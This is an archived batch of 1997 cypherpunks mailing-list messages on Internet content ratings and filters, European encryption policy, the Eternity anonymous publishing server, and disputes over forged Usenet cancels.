plane crashes are bad, but not everyone feels the same way about controls 
on Internet content. 
   In my ideal world, Internet providers should be competing based on 
values, not trying to impose some kind of bogus consensus. 
   Esther Dyson, one of the industry's most respected thinkers, favors 
the development of PICS as a tool but stresses the importance of 
choicesand of people taking responsibility for their actions. In the 
wired world, she says, power is constantly shifting and devolving away 
from central authorities, and that requires individuals to be less 
passive: "I want local control,'' she says. "I don't want no control.'' 
   PICS and RSAC have powerful forces behind them and stand a good chance 
of establishing themselves as part of the mainstream Internet. But 
there's a natural tendency toward diversity in cyberspace, and it's hard 
to see how they would become ubiquitous. 
   If individuals and organizations are vigilant about how ratings are 
usedi.e., not by governments and not by public institutions such as 
librariesthere's a chance that they'll remain what they were originally 
intended to be: one of many means for people to manage the often 
unmanageable Internet. 
 
   Jonathan Weber (Jonathan.Weber@latimes.com) is editor of The Cutting 
Edge. 


**********************************************************************

Jonathan Weber
Jonathan.Weber@latimes.com
Technology Editor
Los Angeles Times 









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 6 Aug 1997 02:16:11 +0800
To: cypherpunks@toad.com
Subject: "Censor's Sensibility" sidebar, from Time Magazine
Message-ID: <Pine.GSO.3.95.970805105422.27178I-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




     _________________________________________________________________
                                      
   BUSTED!
   Some surprising sites get trapped in the filters

CyberPatrol
   
   (www.heritage.org/heritage/) The Heritage Foundation
   (www.mit.edu/activities/safe) M.I.T. free-speech society
   (news:clari.tw.health.aids) Reuters articles about AIDS

NetNanny

   (www.odci.gov/) U.S. Central Intelligence Agency
   (www.cs.cmu.edu/~spok/banned-books.html) Banned-books archive
   (www.now.org/) National Organization for Women
     _________________________________________________________________
                                      






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 5 Aug 1997 19:38:49 +0800
To: cypherpunks@toad.com
Subject: EC Crypto Policy
Message-ID: <199708051039.MAA29310@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



     EC Ministers Draw Up European Online Policy 

     August 5, 1997


     Newsbytes : by Steve Gold. 

     Following on from a conference held in Germany last
     month, representatives from 39 European countries have
     signed a declaration calling for the free flow of information. 

     The event, held between July 6-8 in Bonn, was called "Global
     Information Networks: Realizing the Potential," and was
     attended by 39 European ministers, as well as European
     Commission (EC) representatives from Japan, Russia, the US
     and Canada. 

     At the event, ministers focused on two main issues:
     encryption, and the censorship of illegal material such as child
     pornography on the Internet. 

     The declaration notes that there are a number of important
     differences between US and Europe on encryption and
     information privacy. 

     According to MacRoberts, the Edinburgh, Scotland-based
     information technology (IT) law firm, the declaration may not
     go down too well in US circles, since it is conceivable that
     the EC may block US-based businesses from conducting
     electronic commerce on the Internet. 

     According to officials with MacRoberts, this could result in
     European becoming isolated, rather than the EC teaching the
     US a lesson. 

     According to MacRoberts, the Bonn declaration calls for the
     free flow of information, whilst protecting the privacy of
     data, and a clear division of legal responsibility between the
     creators of Internet content and access providers, network
     operators and other intermediaries. 

     In addition, the declaration calls for the recognition of the
     necessity of strong encryption technology, to facilitate
     electronic commerce subject to "applicable law," and the
     introduction of consumer protection through self- regulation. 

     According to Joanna Noag-Thomson, an associate in
     MacRobert's Intellectual Property and Technology Law
     Group, the declaration deals with many of the issues in
     President Clinton's "Framework for Global Electronic
     Commerce" and, while the US and Europe appear to agree on
     many fundamental issues, important policy differences
     continue to exist, particularly in the areas of information
     privacy and encryption. 

     "The European stance on encryption is to be commended --
     the European Ministers' view is more commercially
     acceptable in that it recognizes that electronic commerce
     requires strong encryption technology," she said. 

     "At the same time, it recognizes that measures to restrict
     encryption should be proportionate At present, the US and
     Europe appear to have different views on what constitutes
     `proportionate' restrictions," she added. 

     According to Boag-Thomson, the EC has warned that, unless
     the US provides adequate protection of personal information,
     it may block any US-based entity from conducting electronic
     commerce on the Internet. 

     "The EU Data Protection Directive forbids data flow to
     countries outside the EU which do not offer adequate
     protection of personal information. Although data protection
     is extremely important, I hope that we in Europe will not find
     ourselves isolated from the rest of the world and that a
     solution to this problem can be found," she said. 

     (19970804/Press Contact: Joanna Boag-Thomson
     +44-141-332-9988; Fax +44-141-332- 8886; E-mail:
     joannab@macroberts.co.uk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Tue, 5 Aug 1997 12:51:16 +0800
To: Jim Choate <cypherpunks@cyberpass.net
Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up (fwd)
Message-ID: <199708050445.NAA03179@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain




I said:
>>but I'll stop now before I get bashed again.

At 07:44 97/08/04 -0500, Jim Choate wrote:
> If all it takes to take over the citizens of Japan is to bash them a little
> then you folks are Doomed. Perhaps you have spent one too many days
> hammering nails that stick up...

I meant get bashed here... and I don't hammer nails. Hammers nail me.
And it seems like there are US hammers too. "To a hammer everything
looks like a nail."

- Joi

--
Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 6 Aug 1997 05:28:20 +0800
To: platypus@acmeonline.net
Subject: Re: "Censor's Sensibility" sidebar, from Time Magazine
In-Reply-To: <Pine.LNX.3.93.970806022614.103A-100000@shirley>
Message-ID: <Pine.LNX.3.95.970805140953.864C-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 6 Aug 1997, ? the Platypus {aka David Formosa} wrote:

> > NetNanny
> > 
> >    (www.odci.gov/) U.S. Central Intelligence Agency
> 
> Is thats where the world fact book is mounted?  It would be a pitty that
> this usefull resurch tool would be blocked.  I mean thay might find out
> that the CIA consideres every single country in the world a magour transit
> point for drugs.

Especially the evil designer drugs TCP and UDP.  Some countries try to
block them at their borders, but they always seem to route around it.

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bpettigrew@usa.net
Date: Wed, 6 Aug 1997 05:48:37 +0800
To: cypherpunks@toad.com
Subject: Re: "A new battle over keeping the Net clean," by J.Weber/LATimes
Message-ID: <ww01-BHeVX12341@netaddress.usa.net>
MIME-Version: 1.0
Content-Type: text/plain



>At the moment, moreover, it doesn't appear that there are a variety 
of 
>ratings systems under development representing different values. In 
fact, 
>a system being created by the Recreational Software Advisory Council, 
a 
>Microsoft-led industry group, is quickly emerging as a de facto 
>standard. 

The problem isn't with PICS, or with ratings, or even with RSAC.  The
problem is that nobody else is making the effort to set up alternative
rating systems.  This leaves RSAC as the only option, by default.

Let the free speech organizations demonstrate their commitment to 
their
cause by creating their own ratings.  Rank sites on the basis of their
support of freedom, or on how privacy-friendly their policies are.
Even formalize the geek code.  Do something, anyway.

The solution to bad speech is more speech.  Don't suppress, ban,
or oppose RSAC.  Provide alternatives.

Bubba





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 5 Aug 1997 18:42:31 +0800
To: cypherpunks@toad.com
Subject: Re: Eternity Content Suggestions
In-Reply-To: <T8eXae1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970805161240.757A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> I'd like to nominate another candidate for the eternity server.

As would I.  Warner Brothers has been shutting down any sites that even
hint of sex in relation to any of there cartoon caritors.  Although thay
clame it is to enforce tradmarks thay only will go after sites with a
sexulial content.

I would like to suggest that some toon porn be mounted on the eturnaty
server.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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HTmy6PiPUyNQBJQq+BUtjAWwha0UtfgctMmJT1T1D6KLdPwoQxzLUI46kC8lv917
tScxa8ASjAsNWWoM1s4ZPtSro2iiUNDxC0dlyBM1Hssf/quYWETqae+9FplMMMnB
d4SwKP3p+JI=
=l9NN
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 6 Aug 1997 07:43:46 +0800
To: cypherpunks@toad.com
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <19970802092944.06562@bywater.songbird.com>
Message-ID: <19970805161821.15943@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Aug 05, 1997 at 10:28:02AM -0700, stewarts@ix.netcom.com wrote:
> >Kent Crispin <kent@songbird.com> writes:
> >> In more general terms: A "free market" fundamentally grants more
> >> control to those with more money.  Postage of whatever variety turns
> >> the medium over to those with more money.  That would, in my opinion, 
> >> fundamentally alter the character of email in a strongly negative 
> >> direction. 
> 
> More to the point, if you're charging prices that don't reflect the
> true costs of the activities, it'll catch up with you after a while;

I am, of course, familiar with this line of reasoning :-).  

However, it is arguably the case that the true cost of email *is*
being paid.  The real problem is that email is unbelievably cheap, for
both recipient and sender -- a sender can send more mail than anyone
can read at a very low cost, and a recipient can easily receive more
mail than they can possibly read, again for a very low cost.  

[...]

> The present situation is that the social dynamics and economics are such
> that Tacky People can make money by being rude to everyone without being 
> interesting in return.  While trying to charge money for communications
> may work, I'm inclined to doubt it; the more interesting currency to
> try to model is Reputation, which leads to more like an Ender's Game
> kind of net, or to semi-closed communities like the Well (is?was?).

Yes, virtual cryptographically closed communities.  A concept whose
time has come, perhaps. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 6 Aug 1997 07:51:50 +0800
To: cypherpunks@toad.com
Subject: Microsoft postpones plans to include RSACnews in Explorer
Message-ID: <Pine.GSO.3.95.970805163528.26115D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 5 Aug 1997 16:35:00 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Microsoft postpones plans to include RSACnews in Explorer

[Note that Microsoft still plans to include RSACnews in Explorer 5.0.
--Declan]

---------- Forwarded message ----------

Inter@ctive Week
August 5, 1997

Microsoft Tables 'News' Rating System For Explorer

By Steven Vonder Haar 1:30 PM EDT

Microsoft Corp. has tabled plans to include new technology in its
Internet Explorer 4.0 browser that would have made "news" oriented
sites exempt from content rating standards promoted for use on the
Internet.

Officials at leading media companies, including Time Warner Inc. and
Dow Jones & Co., have lobbied industry leaders during the past month
in an effort to generate support for an approach that would exclude
news sites from content rating systems such the one promoted by the
Recreational Software Advisory Council (RSAC).

The media companies, rallied by the Internet Content Coalition
industry group, contend that the ratings are the equivalent of private
censorship that will eventually cut into freedom of speech rights on
the Internet.

"No one puts a filter over the mailbox to determine whether Time
magazine is appropriate for our audience," said Dan Okrent,
editor-in-chief at Time Inc. New Media. "The same standards should
apply to the Internet."

RSAC's current rating tool is integrated into the current Explorer
browser. It allows parents to block access to content based on RSAC
ratings. Sites that do not carry RSAC ratings also can be blocked.

RSAC recently came up with a "news" category designed to allow display
of news content without suitability ratings for individual stories.

RSAC President C. Dianne Martin said Microsoft is running out of time
to implement the separate designation for news sites before the launch
of the 4.0 version of Explorer later this year. However, the company
plans to include the news designation in the 5.0 version of Explorer
when it is made available, likely sometime next year.

RSAC can be reached at www.rsac.org

Microsoft can be reached at www.microsoft.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 5 Aug 1997 19:12:03 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <59kXae1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970805162629.757B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

[...]

> > Haveing trubble working out what this line is,  as a flame it is limp
> > wristed, as a rebuttle it is pathtic.
> 
> Our frustration with the Cabal supporters is understandable.

It is, but that dosn't mean that you should stoop to such conterproductive
meathods.  A little bit of flear and a well resoned argument gose further
then a humourless flame.

[...]

> Pedophile Chris Lewis is a content censor.

I don't think Mr Lewis' algeded activerties with childeren have any
validity to the argument.  Calling him a 'Pedophile' or any other name is
not effective in changing my option about this mattor.

>  There are dozens of other examples.

As yet I have seen only the one, could you provide these other examples
where Chris Lewis has perposly canceled posts that he dosn't like.

[...]

> > Since Dr Vulis is the newsadmin of that site, the question is quite valid.

[...]

> I would like to be able to tell
> the rest of Usenet that these articles are not worth reading,

And if thay should deside the what is not work reading is not worth
storing?

[...]

> > Frees up diskspace + reducers propragtion.  May be a good thing.
> 
> A spew spreads to almost all the servers there are in minutes.

It seems to me more in the range of hours or days, esp in the case of
uucp sites wich don't connect often.

[...]

> > > We've got to receive repeated 
> > > blasts of forged cancels ten times the number of the offending posts?
> > 
> > Ergh?  There is only one cancel per post.
> 
> Were you around when Ausralia was knocked off the net by the cancels for the
> Cantor and Siegel "spam"?

There _is_ I'm talking about present tence.  Any anty spammer who dosn't
follow the convention is going to be stopped or losse there account (eg
David Richards).

>  Most of the forgers didn't follow the "$alz" convention (giving the
> forged cancel the message-id "cancel.<original id>".

I would argue that all cancels (not just 3rd party) should follow the
message id protocol.

[...]

> > Realy how about "Post to me your corefile for free porn."?
> 
> How about me posting under my own name, "E-mail your core file to Platypus
> for some free porn"?

This takes a little work,  you can't just reply to the email to get it in
my mail box,  gives the peaple who would do this a little more time to
think.  Thus reducing the amount of core files I would recive.

And yes if thay set the reply-to: feild of the message to me I do consider
it my post and cancelble from me.

> How about me posting under my own name or via an anonymous remailer, "Platypus
> is a spammer - complain to his ISP"?

Both uws.edu.au and acmeonnline would know these complants are bogus.

> Would you be justified in forgin cancels for these?

No.

> How about if someone posted your credit card numbers to Usenet?

I don't have a credit card for just that reson.  The creadit card securaty
system is so fundermently flawed as to be the equiverlent of sticking a
large sign on your forhead marked "ROB ME"

> I don't have an issue with anyone's .sig, especially Dr. Fomin's, but
> Net.Scum like Chris Lewis might use this as an excuse to declare your
> writings "spam".

Not a chance.  The PGP part changes every post, its within McQ, and I
write a content that is diffrent.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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Version: 2.6.3i
Charset: noconv

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LpugNAiDzQ9pegXLg3Sxc9km8SV4OGnrSU1+cE9o2B9xXbuqUWntA+5Pcij/hEyk
fLk+xq5qweYNKAukAMBtr5f2lXP1O9CVj/VMBb4n9XvvGg3KoaWjNT46TAPUCtjl
oShaO+JLFa8=
=F/Tv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 6 Aug 1997 08:12:49 +0800
To: cypherpunks@cyberpass.net
Subject: Eternity's 15 Minutes of Fame
Message-ID: <19970805235827.11932.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



There is a short piece by "Wired News" on the Eternity servers. 

   http://www.wired.com/news/news/technology/story/5778.html

I should add that all Eternity servers...

         http://www.zipcon.com/~enoch/eternity
         http://www.replay.com/~aba/eternity
and      http://eternity.insync.net/eternity

now have pretty icons and a more attractive format. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 6 Aug 1997 08:12:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Eternity's 15 Minutes of Fame
In-Reply-To: <19970805235827.11932.qmail@zipcon.net>
Message-ID: <19970806000149.14388.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Correction....

>          http://www.replay.com/~aba/eternity

Adam's server is http://www.replay.com/aba/eternity.  No "~".

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Wed, 6 Aug 1997 05:33:35 +0800
To: cypherpunks@cyberpass.net
Subject: eternity server makes wired
Message-ID: <CMM.0.90.4.870816034.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



Good going, guys...

http://www.wired.com/news/news/technology/story/5778.html


   [Masthead]
   []
   [Navigation bar]
   [Stocks] __________
   ______________
   
   
   [Search] [WIRED magazine]
   []
   [Back] Creating Anonymous Sites That Can't Be Revoked
   
   by Michael Stutz 
   12:05pm  5.Aug.97.PDT Web sites, having a physical, traceable
   location, are always subject to censorship. In such attacks, a
   government or other localized entity orders the removal of - or even
   physically raids - those sites which host non-approved content within
   its sovereign borders; these sites are often forced to "unpublish" or
   destroy such information.
   
   Now, a means of creating anonymous, unrevokable Web sites has been
   developed. Originally proposed in theory by UK cryptologist Ross
   Anderson, the Eternity Server is being implemented by a band of
   cypherpunks including Adam Back, a research fellow at Exeter
   University.
   
   The idea is simple. Web content - even entire sites - can be posted to
   Usenet in such a way that it can be easily retrieved.
   
   Usenet's discussion forums are distributed across thousands of news
   servers around the world. This, it turns out, makes for a perfect,
   anonymous digital repository: "No one knows who's reading it," said
   Back. "They can't find all Eternity Servers from some centralized
   list. It's decentralized, unlike a mailing list, where there is a
   central node which can be taken out."
   
   The mechanics of document submission are as follows: Eternity Service
   recognizes its own fictitious top-level domain, .eternity. From there,
   a Web document is given its own virtual URL, and the subject line of
   the message becomes a unique mathematical representation of that
   virtual URL, from which the document can be retrieved using search
   techniques. Furthermore, the message is encrypted so that knowledge of
   this URL is necessary for decryption.
   
   Once posted to Usenet, the document will be viewable in perpetuity and
   can be reconstructed in a Web browser by any Eternity Server program,
   which simply decodes the .eternity URL into its equivalent Usenet
   message, then fetches, decrypts, and displays it. Eternity supports
   digital signatures to maintain author anonymity, allowing for
   unconditional free speech.
   
   Mike Duvos, a Seattle-area computer-software consultant, is an
   Eternity Service user. He sees this as part of Usenet's ongoing
   evolution, just as it previously changed from a text-only medium to
   include binary files as well.
   
   "Establishing a convention for the posting of Web content to Usenet,
   employing modern encryption and authentication tools, and permitting
   transparent browsing of that content, is just another step in the same
   direction," he said.
   
   While still fresh out of beta, the technique shows a great deal of
   promise as a foil to conventional means of censorship. "The attention
   gathered by censoring an Eternity Server will ensure that lots of
   other servers start up," said Back. "It will generate a feeding frenzy
   of new servers springing up," he said, assisting free speech from here
   - to Eternity.
   
   Find related stories from the Web's top news sites with NewBot
   
   [Back] [Navigation strip]
   
   Feedback: Let us know how we're doing.
   
   Tips: Have a story or tip for Wired News? Send it.
   
   Copyright ) 1993-97 Wired Ventures Inc. and affiliated companies.
   All rights reserved.
   
   [HotWired and HotBot]
   [] []
   Click here for Vivo
   
   [technology]
   TECHNOLOGY
   Today's Headlines
   
   Creating Anonymous Sites That Can't Be Revoked
   
   Microsoft Reportedly Entering Net Search Biz
   
   Macromedia Offers Dynamic HTML Helper
   
   NCR Licenses Solaris
   
   Testimony Gets Animated
   
   MP3 Music Pirates Lurk in Chat Zones
   
   Eword: Doctor Roboto
   
   Outta Beta: Community Building Blocks
   
   
   Click here for Vivo [INLINE]

------

Ariel Glenn / AcIS R&D / Columbia University
ariel@columbia.edu
standard disclaimer, blah blah blah...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 5 Aug 1997 19:55:50 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <icJXae1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970805165910.757C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> wireinfo <wireinfo@phoenix.net> writes:

[...]

> > You're not very bright are you David?
> 
> In my humble opinion David is pretty bright.  Unfortunately he's misguided
> about certain things.  

Thankyou,  I feel almost the same thing about you :D

> I think the extreme aversion to censorship (like that displayed by imp
> and myself) seldom arises in people who haven't themselves been victims
> of censorship

Dose threats from a multynatnatil corpration count?  Dose living in
Austrlia count?

> The current top "spam canceller", Rich Bland ("cosmo")

Jem seems to have gotten to the top of the list now.

[...]

> Most of the people who scream about their "hatred of spam" on news.* are not
> admins, but fairly recent users who figure that "fighting spam" is a cool 
> thing.

Meany of the "I'm pissed off with spam" peaple lack knowlige of the
conciquencers both social and technical of what thay are suggesting.  In
fact there are membours of the anty-cancelers that I trust more then
them.

That being said thouse that are in the center, are more resonable and are
worryed about there activeriese have my support.

[...]

> I was just pointing out that it's factually incorrect to use
> "admins" as a synonym for "anti-spammers".  

No sane person would suggest that (i.e. lots of peaple on usenet would
make that suggestion) because if it was true then we wouldn't have the
problems with agis or uunet.

> Many admins are pro-free speech.

I woundn't have it any other way.

[...]

> Chris Lewis and Dave Barr obth
> forge cancels for usenet articles that follow up on their articles and quote
> them, claiming "copyright violations".

This is interesting,  proof please.

[...]

> Once the offending articles are part of the spool on toher site, it's 
> pointless for me to issue cancels. 

Not even to free up diskspace?

> Note that both have happened:

I know.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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Charset: noconv

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cpYEAGEUL6o=
=R4gE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 6 Aug 1997 10:27:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Canada's Entrust does end-run around ITAR
In-Reply-To: <199708020443.VAA10553@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970805174155.0077faa0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:43 PM 8/1/97 -0700, Vladimir Z. Nuri wrote:
>NY Times
>August 1, 1997
>Canadian Product Puts New Spin on Encryption Debate
>By PETER WAYNER 
...

Thanks for posting the article - it's an interesting product to
play with.

However, "end run" isn't the right metaphor -
it's a different ball field, it's Canadian Football now,
and the Yankees don't have the home field advantage any more
and can't keep making up silly rules like having to hand the ball
to the FBI Halfback to check for Commies under it before passing it.

It's true there are some silly Canadian rules, like the
Canadian Content bit, but PGP could satisfy that by 
replacing the Keygen.avi movie with someone singing "Oh, Canada"... :-)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 6 Aug 1997 10:26:34 +0800
To: cypherpunks@toad.com
Subject: Re: Eternity Content Suggestions
In-Reply-To: <T8eXae1w165w@bwalk.dm.com>
Message-ID: <v03102801b00d7f31626c@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:16 PM +1000 8/5/97, ? the Platypus {aka David Formosa} wrote:
>Warner Brothers has been shutting down any sites that even
>hint of sex in relation to any of there cartoon caritors.  Although thay
>clame it is to enforce tradmarks thay only will go after sites with a
>sexulial content.

About a year ago a very popular sheet music warez site, being hosted at
Uiveristy of Nevada Las Vegas, was taken down due to publisher pressure.  A
resurection is surely in order.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Grant Sparks <grant@sparks.to>
Date: Tue, 5 Aug 1997 17:01:02 +0800
To: "'cypherpunks@toad.com>
Subject: Oz
Message-ID: <01BCA1CF.B3117820.grant@sparks.to>
MIME-Version: 1.0
Content-Type: text/plain



Are there any Australian cypherpunks ?  Contact me & we'll get together a local 
chapter,

Grant Sparks
grant@sparks.to
Finger me for PGP and WWW information.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 6 Aug 1997 09:03:08 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: "A new battle over keeping the Net clean," by J.Weber/LATimes (fwd)
Message-ID: <199708060050.TAA03620@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: bpettigrew@usa.net
> Date: Tue, 05 Aug 1997 15:23:52
> Subject: Re: "A new battle over keeping the Net clean," by J.Weber/LATimes

> Let the free speech organizations demonstrate their commitment to 
> their
> cause by creating their own ratings.

We are, by simply not rating ourselves and refusing to support others rating
systems.

Hint: FREE speech

                                                     Jim Choate
                                                     The Armadillo Group
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Wed, 6 Aug 1997 11:50:03 +0800
To: cypherpunks@toad.com
Subject: Attend Windows NT Intranet Solutions!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.28372.08051997200009.85836@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          8/6/97
-----------------------------------------------------------------
Are you looking to evaluate the latest Windows NT products?
Attend Windows NT Intranet Solutions August 11-15.

What:       Windows NT Intranet Solutions August 11-15
Where:      Moscone Center -- San Francisco, CA
When:       August 11-15

Windows NT Intranet Solutions, the NT Event, features a conference
and expo program focused on all the major NT issues:

  -  Integrating Unix/NetWare and NT
  -  Migrating applications to NT
  -  NT scalability and clustering
  -  Managing and securing NT networks and much more.

The expert-led Conference program, co-sponsored by PC WEEK,
Inter@ctive Week and Windows Sources, runs August 11-15 and the
3-day Expo, featuring all the leading vendors and the latest NT 
products and solutions, runs August 13-15.

To register free for the Expo and get complete conference info, 
call (888)800-8920 or visit the Windows NT Intranet Solutions 
on the Web at:

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Windows NT Intranet Solutions is presented by SOFTBANK Forums, 
the producers of NetWorld+Interop and Seybold Seminars.

_______________________________________________________________
ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet.

 --To subscribe to ZDNet Announcements, please send mail to:
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 --To unsubscribe to ZDNet Announcements, please send mail to:
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 6 Aug 1997 08:58:49 +0800
To: cypherpunks@toad.com
Subject: JYA Up
Message-ID: <1.5.4.32.19970806003415.00689254@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



AOL/PrimeHost has reactivated JYA.

AOL's story for the takedown is that our seldom used ftp 
component was being used by unidentified parties to traffic in 
warez and that it had nothing to do with the http part, "whose 
content does not concern us."

Still, it's odd we did not get a call about the problem as was done
a few weeks ago for a similar warez invasion. At that time, we 
offered to close our ftp, but the PrimeHost rep said no, we'll monitor 
it, as we do other ftps. I specifically asked to be notified if it
happened again, but wasn't. And it's not clear why it took a
week for me to find out what was what. Or why not AOL did not
just close the ftp and leave the http operating.

'Course, maybe the  takedown was signal of distrust of JYA
innocence. And a warning.

Thanks to the folks who offered more help than the teapot
tempest seems to have warranted -- so far.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Wed, 6 Aug 1997 05:32:18 +0800
To: cypherpunks@toad.com
Subject: Question: What's with cypherpunks-unedited?
Message-ID: <19970805211314.15653.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Just wondering what the story was behind the split and subsequent going-away of
cypherpunks@toad.com?

Also, I'm getting about 20 msgs a day: is that correct or is my gateway broken
again?

Thanks!

-Robin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wcreply@ctia.org
Date: Wed, 6 Aug 1997 10:08:23 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199708060141.VAA05919@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain



=============================================================
This update is sponsored by IBM   http://www.wow-com.com/professional/systemint/
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FCC grants CTIA petition challenging local zoning  moratoriums and seeks further comments.  CTIA Says: Further comment spells further delay.  Read the whole story here.

